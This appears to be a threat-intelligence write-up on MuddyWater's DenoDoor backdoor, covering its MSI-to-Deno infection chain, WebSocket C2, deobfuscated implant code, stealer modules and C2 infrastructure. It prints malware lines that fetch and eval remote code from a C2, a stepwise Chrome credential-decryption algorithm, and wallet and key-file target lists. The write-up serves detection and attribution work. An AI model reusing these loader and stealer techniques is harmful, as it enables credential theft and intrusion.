From One Hash to a Russian MaaS Empire: Hunting MuddyWater's DenoDoor

TLP: WHITE. Full public disclosure.

TL;DR for the time-pressed: A single VirusTotal hash led to the full deobfuscation of MuddyWater's DenoDoor backdoor, the discovery of 40+ active C2 nodes across two bulletproof ASNs (including 14 previously undocumented), a second fully operational DenoDoor C2 cluster (ms-telemetry-gateway-us.com, confirmed via sandbox behavioral analysis) delivering 10 new zero-detection samples with AI-themed lures, the complete kyun.* TLD family (kyun.li, kyun.sh, kyun.host) as confirmed campaign infrastructure, 8 new NATO operator handles, and confirmation that Iranian state actors are renting infrastructure from a Russian criminal MaaS operation that has built a C2 channel you literally cannot sinkhole.

---

Initial Incident: A Hash That Looked Unremarkable

It started the way a lot of these things do - a hash sitting in a VirusTotal report with a detection ratio that's annoying but not alarming. coupon.hub.v1.msi (SHA256: 0f9cf1cf8d641562053ce533aaa413754db88e60404cab6bbaa11f2b2491d542), 21/75 engines, families spread across Trojan.Dindoor, Trojan.MuddyWater.9, and Backdoor/Win.DenoDoor. The filename is blatant enough that whoever named it either has a sense of humor or didn't bother trying.

What made it worth the time was the sandbox. The VT behavioral analysis showed the full execution chain: an MSI installer dropping a VBScript launcher (Viper_controller36.vbs), a PowerShell stager (tango_utility84.ps1), and - buried in the sandbox's network call log - two base64-encoded Deno payloads fetching a JavaScript file from serialmenot.com. The domain had a 23/91 VT score and a C2 fingerprint that had been mentioned in a Hunt.io report a few months prior. More interesting: one of the contacted files was serialmenot.txt, a 711KB file sitting on the C2 server that VT had scraped.

That file is where things got genuinely interesting.

---

Local Data Harvesting: The MSI Chain and What Landed on Disk

The MSI Dropper

The coupon.hub.v1.msi installer is WiX-built - the author tag in the MSI metadata reads alpha_tool27, which follows the same phonetic-alphabet-plus-number naming convention as other samples in the cluster (Falcon57, foxtrot_daemon80, November_manager11). These aren't accident; they're operator handles in a multi-tenant platform where someone is tracking which campaigns belong to whom.

On installation, the MSI deploys three files:

• Viper_controller36.vbs - the initial launcher
• tango_utility84.ps1 - PowerShell stager
• Viper_widget65.dat - encrypted payload blob

The VBS script invokes the PS1 stager with the standard evasion flags: -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass. Nothing novel there. The PS1 stager, though, does something worth noting: rather than bundling a Deno binary, it downloads the legitimate, Microsoft-signed Deno runtime directly from dl.deno.land:

curl.exe -Lo %USERPROFILE%\.deno\bin\deno.zip `
  https://dl.deno.land/release/v2.6.9/deno-x86_64-pc-windows-msvc.zip

Then it executes the payload via a data: URI - no file on disk, no dropped JavaScript payload:

deno.exe -A data:application/javascript;base64,<obfuscated_payload>

This is the core evasion logic. Deno is a signed binary from a legitimate vendor. Most EDR allowlists will pass it without complaint. The JavaScript payload never touches disk. From the perspective of a file-based detection, there's nothing to find.

The Mutex and Victim Fingerprinting

DenoDoor uses a TCP loopback bind on port 10044 as a single-instance guard - it calls Deno.listen({ port: 10044, hostname: '127.0.0.1' }) and if the bind fails with AddrInUse, it exits cleanly. This gives you a reliable host-based indicator: any process holding 127.0.0.1:10044 is a DenoDoor instance.

Victim tracking is done via an MD5 fingerprint of the concatenated string username + hostname + totalRAM + osRelease. Not cryptographically sophisticated, but functionally sufficient for a C2 that needs to track individual infections.

The Embedded JWT

Every outbound WebSocket frame from DenoDoor includes a hardcoded JWT token. Decoding it:

{
  "campaignId":   "75cbe18653d52372",
  "campaignName": "Smokest",
  "campaignUrl":  "smokest",
  "configId":     "fd8a7e52c4b347d6",
  "proxies":      ["http://serialmenot.com"],
  "userId":       "bb47c0615477a877",
  "userNote":     "ADS",
  "iat":          1780485872,
  "exp":          2096061872
}

Two things stand out. First, campaignName: "Smokest" - this isn't an artifact from decompilation, it's a deliberately chosen campaign name that appears across multiple CastleRAT builds (VirtualSmokestGuy120 is the scheduled task name). MuddyWater is using this as a campaign identifier across the entire TAG-150 platform.

Second, exp: 2096061872 - that's May 27, 2036. Whoever issued this token planned a 10-year campaign with no token rotation. That's either laziness or confidence. Given everything else about this operation, I'd bet on confidence.

---

External Data Harvesting

Phase 1: Deobfuscating serialmenot.txt

The VT sandbox had scraped serialmenot.txt from the C2 - a 711KB, 10,942-line JavaScript file. The filename made it sound like a server-side artifact. The contents made clear it wasn't.

The obfuscation technique

This is obfuscator.io's "classic" pattern, used extensively by commodity malware since around 2019. The mechanics:

1. String array fragmentation: All meaningful string literals in the source are extracted and stored as 2–4 character fragments in a single massive array - _0x2140() - containing 3,289 entries. Nothing that should be human-readable is human-readable in the raw source; every string is a lookup into this array.

2. Rotation IIFE: An immediately-invoked function expression shuffles the array until a specific checksum condition is satisfied (0x7e409). This step is required before any string can be resolved - the array in its raw form is in the wrong order.

3. Decoder function: A primary decoder _0x241b(index) maps numeric indices (e.g., _0x241b(0x1a3)) to the now-ordered string table, applying an offset of index - 0xfc. This function has a global alias (const _0x26ec0e = _0x241b) and 294 additional per-function local aliases scattered throughout the source - every function re-aliases the decoder to make static analysis harder.

4. Control flow flattening: Core logic is wrapped in while(!![]) loops with switch statements, breaking the natural control flow into a state machine that obscures what executes in what order.

5. Anti-tamper bootstrap: Lines 1–51 contain a console-patching IIFE that detects developer tools and applies self-protection logic. Irrelevant to the C2 behavior, but designed to frustrate interactive debugging in a browser context.

In raw form the file looks like this throughout:

const _0x26ec0e = _0x241b;
(function(_0x4a2b, _0x5c3d) {
  const _0x1f8e = _0x241b;
  while(!![]) {
    try {
      const _0x9a1c = -parseInt(_0x1f8e(0x1a3)) / 0x1 + ...
      if (_0x9a1c === _0x5c3d) break;
      else _0x4a2b['push'](_0x4a2b['shift']());
    } catch(_0x2b4f) { _0x4a2b['push'](_0x4a2b['shift']()); }
  }
})(_0x2140, 0x7e409);

Every string - C2 domain names, Windows API names, task type identifiers, JWT fields - is buried in the array. 'serialmenot.com' appears nowhere in the raw source.

The deobfuscation process

Four steps, all automatable:

1. Extract _0x2140() - copy the raw array contents before the rotation IIFE touches them.
2. Execute the rotation IIFE in Node.js to obtain the correctly ordered string table.
3. Resolve all _0x241b(0xXXX) calls and all 294 alias forms by substituting the decoded strings inline.
4. Merge adjacent string literal concatenations iteratively (the decoder often produces 'serial' + 'menot' + '.com' - collapse these).

The result: 480KB of clean, readable JavaScript. 10,942 lines down to something you can grep through. Residual obfuscation remains in ~254 calls inside the JPEG codec (lines 700–1200) and the anti-tamper bootstrap (lines 1–51) - both self-contained and irrelevant to C2 logic. All task handlers, stealer modules, and communication code is fully readable after step 4.

The first surprise: this is the implant, not the server

The filename serialmenot.txt was named after the C2 domain that served it. The reasonable assumption was that it was a server-side component - a handler, a config, something belonging to the C2 operator's backend. After deobfuscation, that assumption collapsed.

The file is a Deno runtime JavaScript client - the DenoDoor implant itself. The code that runs on victim machines. The C2 operator had their own attack tool sitting on the server in a path accessible to VirusTotal's scraper, and VT had obligingly downloaded and indexed it. You're reading the attacker's tool.

Architecture revealed by deobfuscation

Once clean, the code's structure is immediately recognizable:

Runtime:        Deno (confirmed by Deno.dlopen, Deno.env, Deno.listen,
                Deno.hostname, Deno.systemMemoryInfo, Deno.UnsafePointer, etc.)

Node.js compat: import { spawn } from 'node:child_process'
                import { promises as fs } from 'node:fs'
                import { Buffer } from 'node:buffer'
                → Same bundle runs on Deno OR Node.js

Serialization:  MessagePack (mt.encodeSharedRef() / Ze.decode())
                + zlib deflate/inflate wrapping all WebSocket frames
                → pe(obj) = msgpack + deflate
                → yo(buf) = inflate + msgpack-decode

![DenoDoor WebSocket C2 Protocol](/images/blog/muddywater-denodoor-tag150-maas/denodoor-websocket-c2-protocol.png)

Transport:      WebSocket (ws://serialmenot.com/conn), binary arraybuffer mode
                → Single persistent connection, bidirectional
                → All task commands and results flow here
                → ws:// NOT wss:// - plaintext, no TLS

C2 client:      Proxy-based typed API client (gr(baseUrl, opts) factory)
                → So['conn']['$ws']() constructs ws://serialmenot.com/conn

Entrypoint:     Ln() async function, exported as default under alias eu
                → Triggered when globalThis.__filename is truthy
                → i.e., only activates when running as a script, not as a module import

URL resolution: Multiple C2 URLs can be comma-separated
                → us() tests them all in parallel via fetch(url + '/health')
                → First responsive one wins

The globalThis.__filename trigger is worth noting: the payload checks for this before activating. When Deno executes data:application/javascript;base64,..., the runtime sets __filename to the data: URI, so the condition is true. If someone imports the module for static analysis without triggering that path, the C2 loop never starts. It's a minor anti-sandbox measure.

The MessagePack + zlib encoding means the C2 traffic carries no plaintext strings in transit - not HTTP, not WebSocket text frames. Everything is binary. A network tap captures the frames but needs to inflate + decode to read them. The JWT token (token field) appears in every outbound frame in decoded form, so a PCAP with MessagePack decoding would expose the campaign credentials.

What DenoDoor Actually Does

The implant registers with the C2 via WebSocket (ws://serialmenot.com/conn) on startup, sending a structured registration frame that includes the victim fingerprint, JWT token, and a pcInfo blob:

{
  "username", "hostname", "domain", "osName", "osVersion",
  "osBuild", "platform", "cpus", "gpus", "ramMb",
  "avs", "runningAsAdmin", "hasAdminRights"
}

Notice avs in that list - DenoDoor fingerprints installed antivirus on registration. This feeds directly into the stealer logic: if avs includes ESET, the standard Chromium stealer module (xn()) is quietly dropped from the task list. The malware knows what's watching.

All C2 traffic is MessagePack-serialized, zlib-deflated binary WebSocket frames. Notably, this is ws://, not wss:// - the traffic is unencrypted at the protocol level. The MessagePack encoding provides some opacity, but a network tap sees the frames.

The 13 task handlers that the C2 can dispatch:

The SOCKS5 proxy deserves a note. This isn't a standalone proxy - it runs entirely over the existing C2 WebSocket. An operator can open arbitrary TCP connections from the victim to the internal network without establishing a new channel. From a network perspective, everything looks like normal C2 traffic.

The execute (runpe) task is equally interesting. Here is the actual Sr() function from the deobfuscated source:

function Sr({ name, moduleUrl }) {
    let code = `import{createRequire}from"node:module";
    globalThis.require=createRequire("file:///");
    globalThis.__filename="file:///module.cjs";
    eval(await(await fetch("${moduleUrl}")).text())`;

    let dataUrl = 'data:application/javascript,' + encodeURIComponent(code);

    return spawn('deno', ['run', '-A', dataUrl]);
}

This spawns a new Deno subprocess with full permissions (-A). The subprocess fetches an arbitrary JavaScript module from the C2-supplied moduleUrl and evaluates it via eval(). The module - whether a RunPE loader, shellcode runner, or any other payload - is fetched fresh from the network, never written to disk, and executes inside a Deno process that is signed and trusted by the host's EDR. The parent deno.exe spawning another deno.exe via data: URI is the detection opportunity - look for Deno spawning child Deno processes.

The Stealer Modules

DenoDoor's stealer (Fn()) runs all modules in parallel. Before anything else it calls Sn() to kill browser processes - Chrome, Edge, Brave, Firefox - so SQLite databases aren't locked. Then it dispatches all stealer goroutines concurrently via Promise.all().

The ESET bypass is explicit in the source:

_pc.avs?.includes('ESET') || tasks.push(xn(ctx))

If avs (populated from the registration frame) contains "ESET", the standard Chromium stealer (xn) is silently dropped from the task list. The Chrome V20 DLL injection path (hn) is still attempted - ESET apparently doesn't detect that one the same way.

Chrome/Edge/Brave credential decryption (step by step):

This is the full algorithm DenoDoor uses, implemented in pure JavaScript via Deno FFI:

1. Read %LOCALAPPDATA%\<browser>\User Data\Local State (JSON)
2. Extract os_crypt.encrypted_key → base64 decode → strip first 5 bytes ("DPAPI" prefix)
3. Call CryptUnprotectData via crypt32.dll FFI → returns 32-byte AES master key
4. For each credential row in Login Data / Network/Cookies / Web Data:
   a. nonce = bytes[3:15] of the encrypted value
   b. ciphertext = bytes[15:] (AES-GCM ciphertext with tag appended)
   c. crypto.subtle.decrypt({ name: 'AES-GCM', iv: nonce, tagLength: 128 }, key, ciphertext)
   d. Result = plaintext cookie/password/credit card number

Covers 14 browser profiles: Chrome Default, Profiles 1–6, Chrome Canary, Edge Default, Edge Profile 1, Chromium, Brave-Browser, Opera.

• Chrome V20 (DLL injection): Requires the C2 operator to supply a Chrome DLL payload in the stealer task frame (chromeDll field). Injects into a live Chrome process via CreateProcessW + pipe. This path is not embedded in the agent - the DLL comes down from C2 at task time, so the implant itself has no static injection artifact.
• Firefox: Opens cookies.sqlite and places.sqlite from %APPDATA%\Mozilla\Firefox\Profiles\ using @db/sqlite@0.13.0 fetched from jsr.io at runtime.
• Discord: Scans %APPDATA%\discord, discordcanary, discordptb leveldb directories for stored tokens. V3 tokens (prefixed dQw4w9WgXcQ:) are decrypted using DPAPI + AES-256-GCM, same master key pattern as Chrome.
• Telegram: Recursive copy of %APPDATA%\Telegram Desktop\tdata\ in full - this directory contains the session database and encryption keys Telegram uses for local storage.
• Desktop wallets: AtomicWallet, Exodus, Jaxx, Electrum, Guarda, Coinomi, Armory, ZCash - copies wallet data directories.
• 61 browser extension wallets: MetaMask, MetaMask Edge, TronLink, BinanceChain, Coin98, Phantom, Trust Wallet, Exodus, Ronin Wallet, Keplr, Sollet, Yoroi, Nami, Eternl, Guarda, 1Password, LastPass, Bitwarden, KeePassXC, Dashlane, NordPass, Keeper, RoboForm, and 38 others - steals extension storage from all Chromium profile directories.
• File grabber: Walks Documents, Desktop, Downloads to depth 3, max 50MB total. Target extensions: *.kdbx, *.key, *.pem, *.ppk, *.p12, *.pfx, *.asc, *.gpg, *.ovpn, *.rdp, *.txt. Target filenames: id_rsa, id_dsa, id_ecdsa, id_ed25519. The private keys, VPN configs, and RDP files aren't opportunistic - they're preparation for the next phase.

Victim fingerprinting (HUID computation - from deobfuscated source):

function Io() {
    let username = Deno.env.get('USERNAME') || Deno.env.get('USER') || '';
    let hostname = Deno.hostname();
    let memInfo = Deno.systemMemoryInfo();
    let osRelease = Deno.osRelease();
    return MD5(username + hostname + memInfo.total + osRelease);
}

The resulting MD5 hex string (huidMd5) appears in every outbound WebSocket frame and in the registration. It's stable across reboots as long as the machine's total RAM and OS version don't change. This is how the C2 tracks individual victims across reconnects without cookies or persistent IDs on disk.

Two background loops run continuously from the moment of registration:

• Keylogger via GetAsyncKeyState on user32.dll FFI, reporting active window title with each keystroke batch
• Clipboard logger via GetClipboardData, reporting on every clipboard change

Both use Deno's FFI interface to call Windows APIs directly. This means user32.dll is loaded by the Deno process, not by a conventional DLL import - behavioral detection that watches for suspicious DLL loads in unusual processes may not catch it.

One runtime behavior worth flagging for detection: when the PTY or SQLite stealer task is dispatched, DenoDoor fetches libraries from jsr.io (Deno's package registry) at runtime. This creates a detectable outbound connection to jsr.io that shouldn't appear in normal browser or application traffic:

https://jsr.io/@sigma/pty-ffi/0.39.1/mod.ts
https://jsr.io/@db/sqlite/0.13.0/mod.ts

Phase 2: Passive Infrastructure Recon on serialmenot.com

WHOIS:
Registered 2026-01-31 via NICENIC International (Hong Kong), privacy-protected. NICENIC is a HK-based registrar that appears repeatedly in state-actor infrastructure. Domain locked with clientDeleteProhibited + clientTransferProhibited within days of registration - atypical for a brand-new domain and suggests the operator locked it specifically to prevent takedown attempts.

DNS:
Currently resolves to 94.26.90.166 (AS207043, Dedik Services, Germany). TTL: 300 seconds - short enough for fast rotation if needed. Cloudflare nameservers, but grey-cloud (DNS-only, not proxied) - the real IP is exposed.

IP history (VT passive DNS):

The live C2 fingerprint:
An HTTP GET to port 80 returned:

HTTP/1.1 404 Not Found
Via: 1.1 Caddy
Via: 1.1 Caddy
Access-Control-Allow-Origin: *
X-Request-Id: 5931c723-3791-44c1-a726-2b82cbe2a42d

The double Via: 1.1 Caddy header is the signature of two Caddy instances in the reverse proxy chain - a common double-hop setup to add a layer of routing indirection. The Access-Control-Allow-Origin: * is permissive CORS configuration consistent with a WebSocket relay endpoint. This fingerprint is confirmed live as of June 6, 2026, and was used by Hunt.io to identify 20 active DenoDoor C2 servers across 15 ASNs.

Phase 3: Infrastructure Pivoting

sharecodepro.com:
Same registrar (NICENIC), same registrant country (HK), and migrated to 94.26.90.166 exactly one day before serialmenot.com. Coordinated rotation to the same IP on consecutive days means same operator. VT score: 19/91. The domain itself was legitimate until ~December 2025, when it was re-registered to NICENIC/HK and weaponized. It appears in VT as a C2 for an earlier campaign wave (January 2026, seven WiX-built MSIs with phonetic-alphabet operator tags: Falcon57, foxtrot_daemon80, November_manager11).

66.78.40.170 - IP reassigned after C2 rotation:
66.78.40.170 hosted serialmenot.com from 2026-02-02 through 2026-02-24, confirmed by VT passive DNS and VT behavior analysis of charlie_script48.ps1 (SHA256: 42a5db2a020155b2adb77c00cbe6c6ad27c2285d8c6114679d9d34137e870b3f, 35/75, TrendMicro: Backdoor.PS1.DINDOOR.SMTHA). When the C2 migrated to 94.26.90.166 on 2026-02-24, this IP became idle. A separate domain subsequently appeared on 66.78.40.170 in late March 2026 - 46 days after the sample was last active - with a 0/91 VT score and no behavioral overlap with campaign samples. This is consistent with Aokigahara SRL recycling the IP to an unrelated tenant. No attribution is made to this subsequent tenant; the IP itself remains relevant only as a historical serialmenot.com anchor.

66.78.40.254 - new active C2:
kyun.li currently resolves to 66.78.40.254 - adjacent /24 to the original Aokigahara SRL block. HTTP headers confirm live Caddy on port 80, same double-hop fingerprint. VT score: 0/91 for the IP. More interesting: TCP port 5201 is running iperf3. Whether this is bandwidth testing infrastructure or some form of covert tunnel measurement isn't clear, but it's atypical for a standard web server.

OPENCTI Platforms live hunt - 14 new C2 nodes and 2 new domains (2026-06-07):
Running the primary DenoDoor fingerprint dork (header="Via: 1.1 Caddy" && header="Access-Control-Allow-Origin: *" && port="80") and companion ASN sweeps against OPENCTI Platforms returned 129 unique hosts after deduplication. 14 of them matched the exact fingerprint signature on the two bulletproof ASNs (AS215659 Aokigahara SRL, AS207043 Dedik.io) and had not appeared in any prior reporting:

Seven new IPs on Aokigahara SRL (AS215659): 66.78.40.83, 66.78.40.107, 31.57.129.250, 31.57.129.252, 45.38.20.52, 65.87.7.227, 65.87.7.239. This brings the confirmed active count in the 66.78.40.0/24 alone to 8 IPs - the entire /24 is densely weaponized and should be treated as a hostile block.

Seven new IPs on Dedik.io (AS207043): 94.26.83.49, 94.26.83.82, 85.239.144.31, 85.239.149.80, 151.240.151.97, 151.243.113.60, 167.148.195.109. Notably 94.26.90.51 was also surfaced - sitting in the same /24 as the primary C2 (94.26.90.166), likely a backup or parallel node.

Two new domains surfaced by the hunt:

• ms-telemetry-gateway-us.com - Microsoft telemetry domain typosquat (mimics vortex.data.microsoft.com/settings-win.data.microsoft.com), hosted on AS215659, live Caddy headers confirmed. Not in any prior public reporting. High-value block target: endpoint telemetry filters won't catch outbound connections to a "Microsoft telemetry" domain.
• kyun.sh - sibling to the known kyun.li domain, discovered via pivot from 66.78.40.254. Caddy + CORS headers confirmed active. 274 OPENCTI Platforms records.

OPENCTI Platforms's web interface caps at 50 results per query. Three dorks hit their cap with hundreds of total results (P4-BodyAttribution: 453, P1-DoubleCaddy: 350, P1-CaddyFingerprint: 337) - the full C2 fleet almost certainly extends beyond the 14 confirmed here.

VT deep pivot - confirming the new cluster and discovering a second payload family (2026-06-07):
Running a full VT API pivot session against all OPENCTI Platforms-discovered infrastructure produced a clean behavioral confirmation that ms-telemetry-gateway-us.com is an active, parallel DenoDoor C2 - not just a domain with Caddy headers, but a fully functional delivery server. CAPE sandbox analysis of gpt.msi (3483dbf6989c6e60d67dce29e2aa7847f5544d05324c6f4def42e9180e3c3444, 6/75 VT) showed:

• DNS: ms-telemetry-gateway-us.com → 66.78.40.107 (resolved live during execution)
• GET http://ms-telemetry-gateway-us.com/open-authentication - identical JWT auth endpoint
• GET http://ms-telemetry-gateway-us.com/session-group - identical session management endpoint
• GET http://ms-telemetry-gateway-us.com/7d775db4c976f3a6.js - hex-named DenoDoor JS payload (same naming convention as sharecodepro.com)
• GET https://github.com/denoland/deno/releases/download/v2.7.14/deno-x86_64-pc-windows-msvc.zip - Deno LOLBin delivery, updated to v2.7.14

This is the same C2 API schema as serialmenot.com and sharecodepro.com, running on a domain registered 2026-05-01 - one month before this investigation, on Njalla nameservers (privacy-preserving NS used by threat actors to prevent registrar-level takedown). The cluster has its own set of MSI droppers and PS1 stagers: 10 samples confirmed, all with zero or near-zero VT detection, all using the same 12,800-byte MSI template and 1,537-byte PS1 stager template as the original campaign. Three new domains share the same Aokigahara IP (66.78.40.107): ms-telemetry-gateway-us.com, oscarstars.xyz (2/91 VT), and an implied third via TLS cert rotation.

The pivot also surfaced a separate payload delivery cluster operating on 85.239.144.31:6600 (Dedik Services, 11/91 VT). This IP serves an EXE payload (setup_s3.exe) over non-standard port 6600 with access-controlled path tokens. Samples contacting it are 42–43 KB obfuscated PowerShell files - a completely different size and format profile from DenoDoor's 1,537-byte PS1 stagers. One sample is named sleestak_payload_1.ps1 (10/75 VT, downloader family), others are named with a numeric identifier 417216054 that may be a Telegram channel or bot ID. Given the different format, port, and file profiles, this is likely the CastleLoader first-stage component of the TAG-150 suite rather than DenoDoor.

The kyun pivot confirmed kyun.host as operator email infrastructure: its MX record points to mail.kyun.host, and its passive DNS shows it previously resolved to 66.78.40.254 (the confirmed active C2). All three kyun domains (kyun.li, kyun.sh, kyun.host) share Bunny.net CDN nameservers, placing them under the same operational cluster.

Deno Deploy subdomains (69.67.170.170):
VT passive DNS surfaced 40 subdomains on Deno's own infrastructure that have been used in connection with this campaign. Several stand out:

• micrsftappstatic.deno.net - Microsoft typosquat
• armusaradif.deno.net, tarvizadeh.deno.net, hseyyed.deno.net - Persian names and an Iranian honorific ("Seyyed")

The Persian naming pattern in operator-controlled Deno Deploy subdomains is a consistent Iranian attribution signal.

Amadey co-tenant - and a possible first-stage link:
A sample on sharecodepro.com (3dcb5e15e1575b2996202710412e308a0a82642a4a2c6cdf053e919a7c1d4354, 52/70 VT) was classified by VMRay as containing both "Amadey" and "CastleRAT" malware families. Amadey is a Russian criminal MaaS botnet loader. The assumption going in was shared hosting - separate actor, same bulletproof server. Then the sandbox told a more complicated story.

The 3dcb5e15e1575b2996202710412e308a0a82642a4a2c6cdf053e919a7c1d4354 binary's sandbox run contacted deno.land directly and dropped 13d2d0b4e4709d0f7705a7519ad099b10b0680ac6c40b96b74ee082ca4d93a6f - a DenoDoor MSI dropper in this same cluster. The Amadey binary was distributing DenoDoor payloads. Whether this is TAG-150 using Amadey as a distribution layer for some customer deployments, or infrastructure co-location where an Amadey affiliate happened to stage on the same server, isn't conclusively settled by current public reporting. What is settled: the Amadey C2 (158.94.208.6:80/h8jfdmdWS/index.php, Spamhaus DROP-listed) is on a separate ASN from the MuddyWater cluster - MuddyWater is not operating Amadey directly. But the DenoDoor payload drop from an Amadey binary warrants continued investigation. A second Amadey sample in this cluster (0bd1d24e8009c65086ecc928e526d5668703e51a09aa0c642a9ea80f6a92fdba) masqueraded as OBS Studio using a stolen Monotype code-signing cert from 2010 - same Amadey C2, same Petuhon.zip staging host (172.86.123.222).

Also on sharecodepro.com infrastructure: 3bc9252962306cc815a61208ff7efe1e3f325b58afffef653daeaa82d5340d2d (VMProtect-packed, 40/72 VT) sandboxed as Vidar + Stealc + QuasarRAT - a third separate actor cluster. fd0ad75d830feb3779c51b61a2a0e0b866b203438ec1b5b4c3c5952c3fddc818 (Alpha31.ps1) was classified as NightshadeC2, also contacting sharecodepro.com/m/73f5ecbce5b2fa08/main. The /m/{16-char-hex}/main pattern is the TAG-150 DenoDoor payload delivery URL scheme - each campaign or victim gets a unique 16-character hex ID. Multiple unrelated malware families landing in the same URL namespace confirms the platform is genuinely multi-tenant.

Infrastructure Recapitulation

CAMPAIGN: Smokest | ACTOR: MuddyWater / MOIS (TA450)
BACKDOOR: DenoDoor (Deno runtime, WebSocket C2)

REGISTRATION CLUSTER (NICENIC / HK registrant):
  serialmenot.com  ──registered 2026-01-31─► NICENIC / HK
  sharecodepro.com ──re-registered 2025-12-09► NICENIC / HK  [RELATED]

IP TIMELINE:
  ┌──────────────────────────────────────────────────────────────┐
  │  Phase 1 (2026-01-20 to 2026-02-23): Aokigahara SRL          │
  │  66.78.40.170 (AS215659, Romania bulletproof)                │
  │    ├── serialmenot.com (2026-02-02)                          │
  │    └── wakunode-1.kyun.li (2026-01-20)           [RELATED]   │
  └──────────────────────────────────────────────────────────────┘
  ┌──────────────────────────────────────────────────────────────┐
  │  Phase 2 (2026-02-23+): Dedik Services / DEDIK-IO            │
  │  94.26.90.166 (AS207043, Germany bulletproof-adjacent)       │
  │    ├── sharecodepro.com (2026-02-23)             [RELATED]   │
  │    └── serialmenot.com (2026-02-24)          ← CURRENT       │
  └──────────────────────────────────────────────────────────────┘

  Adjacent C2 (same Aokigahara /24):
  66.78.40.254 ── kyun.li / kyun.sh / kyun.host(hist.) ── Caddy 80/443 + iperf3:5201   [ACTIVE]

  ┌──────────────────────────────────────────────────────────────┐
  │  CLUSTER B (2026-05-01+): ms-telemetry parallel DenoDoor C2  │
  │  66.78.40.107 (AS215659 Aokigahara SRL)                      │
  │    ├── ms-telemetry-gateway-us.com  [15/91 VT - CONFIRMED]   │
  │    ├── oscarstars.xyz               [2/91 VT]                │
  │    └── (Njalla NS, Tucows registrar, 2026-05-01)             │
  │  Behavioral: /health /open-authentication /session-group     │
  │  /7d775db4c976f3a6.js - identical DenoDoor API               │
  │  Deno v2.7.14 | 10 new samples | 0–6/75 VT detections        │
  │  Operator handles: Delta27, Zulu14, Charlie_app9, Quebec85,  │
  │               Lima70, November_script73, Griffin_platform20  │
  └──────────────────────────────────────────────────────────────┘

  ┌──────────────────────────────────────────────────────────────┐
  │  CLUSTER C (2026-05+): 85.239.144.31 - CastleLoader likely   │
  │  85.239.144.31:6600 (AS207043 Dedik Services DE)             │
  │    └── GET /v5pfpu6s/setup_s3.exe  [3/93 VT]                 │
  │  Samples: sleestak_payload_1.ps1 (10/75), 417216054 PS1s     │
  │  42–43 KB obfuscated PowerShell - different from DenoDoor    │
  └──────────────────────────────────────────────────────────────┘

  Pre-campaign sharecodepro.com staging (Aokigahara SRL, 93.113.25.0/24):
  93.113.25.253 (Dec 2025) → 93.113.25.136 (Jan 2026) → 94.26.90.166 (Feb 2026)

BULLETPROOF HOSTING ALLOCATION CHAIN (Aokigahara SRL):
  Colocation America Corp (US)
    └── IPXO LLC (TX) - IP lease broker
          └── Internet Utilities NA LLC (DE)
                └── Aokigahara SRL (RO) - AS215659 / MOEMOEKYUN
                      └── 66.78.40.0/24 - active C2 cluster
  Allocated 2025-01-07 - 12 months before campaign use. AS name "MOEMOEKYUN"
  + company name "Aokigahara" (Japanese suicide forest) = deliberate obfuscation.

EARLIEST KNOWN MALICIOUS USE OF 66.78.40.170:
  2024-05-20  gadalka.tallison.com → 66.78.40.170  [VT passive DNS]
  → tallison.com (8/75 VT malicious); pre-dates Smokest campaign by 18+ months
  → Implies this bulletproof IP block has been in active threat actor use
    since at least mid-2024, well before MuddyWater adoption

DENO RELAY LAYER (69.67.170.170, Deno Inc US - AS15329):
  micrsftappstatic.deno.net  ← Microsoft typosquat
  sh33ll.deno.net            ← shell naming convention
  armusaradif.deno.net       ← Persian operator name (IR attribution)
  tarvizadeh.deno.net        ← Persian surname (IR attribution)
  hseyyed.deno.net           ← "Seyyed" Iranian honorific (IR attribution)
  + 35 additional *.deno.net subdomains


C2 ARCHITECTURE (full chain):
  Victim
    └──[MSI delivery: Teams impersonation]──► coupon.hub.v1.msi
    └──[msiexec]──► Viper_controller36.vbs + tango_utility84.ps1 + Viper_widget65.dat
    └──[VBS → PS1]──► curl.exe downloads deno.exe from dl.deno.land
    └──[deno.exe -A data:application/javascript;base64,...]──► DenoDoor activates
    └──[WebSocket ws://serialmenot.com/conn]
    └──[Cloudflare DNS grey-cloud]──► 94.26.90.166:80
    └──[Via: 1.1 Caddy]──► Caddy instance 1
    └──[Via: 1.1 Caddy]──► Caddy instance 2 (backend)
    └──► TAG-150 C2 server (operator panel)

SHARECODEPRO.COM PAYLOAD DELIVERY URL SCHEME:
  http://sharecodepro.com/m/{16-char-hex}/main
  → Each 16-char hex token = campaign or victim identifier
  → Observed: /m/98514e6930e45c43/main, /m/73f5ecbce5b2fa08/main

---

Overall Attack Description

The attack chain for the Smokest campaign:

1. Initial access via Microsoft Teams impersonation - a phishing message delivering a link or file that triggers the MSI download. Teams as a delivery vector is a consistent MuddyWater pattern: legitimate enterprise communication platforms reduce user suspicion and often have weaker link filtering than email.

2. MSI execution drops Viper_controller36.vbs, tango_utility84.ps1, and Viper_widget65.dat to %LOCALAPPDATA%\coupon.hub.v1\. The VBS launcher invokes the PS1 stager.

3. PS1 stager downloads the legitimate Deno runtime binary (deno.exe) from dl.deno.land, then executes the obfuscated DenoDoor payload via data:application/javascript;base64,<payload>. Nothing written to disk except the Deno binary itself, which is signed and trusted by most EDRs.

4. DenoDoor activates, binds 127.0.0.1:10044 as a mutex, fingerprints the victim, and establishes a WebSocket connection to ws://serialmenot.com/conn. Registration frame includes OS details, installed AV, and admin status.

5. Simultaneous background loops begin: keylogger and clipboard monitor run continuously from first registration.

6. C2 tasking is operator-controlled in real time. The stealer runs as a discrete task dispatched by the operator - likely triggered after reviewing the initial registration data. The SOCKS5 proxy can be stood up on demand for lateral movement. PTY shell gives interactive access. The execute (runpe) task delivers follow-on payloads without touching disk.

7. Parallel track (from TAG-150 platform context): in some MuddyWater deployments, CastleRAT provides a companion HVNC channel for full remote desktop control, while ChainShell provides a second, blockchain-resilient persistence mechanism. DenoDoor is the lightweight first-contact implant; the heavier tools arrive via execute tasks. CastleRAT itself is delivered concealed inside steganographic JPEG images - the payload is encoded in the image and extracted at runtime, so network monitoring looking for PE headers in downloads won't catch it.

Full MuddyWater DenoDoor kill chain (both delivery paths):

Path A - DenoDoor only:
  Spearphishing lure (Teams) → MSI (Amy Cherne / Donald Gay cert)
    └── msiexec → VBS launcher → PS1 stager
          └── curl.exe → deno.exe (from dl.deno.land)
                └── deno.exe -A data:application/javascript;base64,...
                      └── DenoDoor → ws://serialmenot.com/conn
                            └── [operator tasks: stealer / PTY / SOCKS5 / runpe]

Path B - ChainShell + CastleRAT (heavier deployment):
  reset.ps1
    └── Installs Node.js → %LOCALAPPDATA%\Nodejs\node-v18.17.0-win-x64\
    └── AES-256-CBC decrypts payload
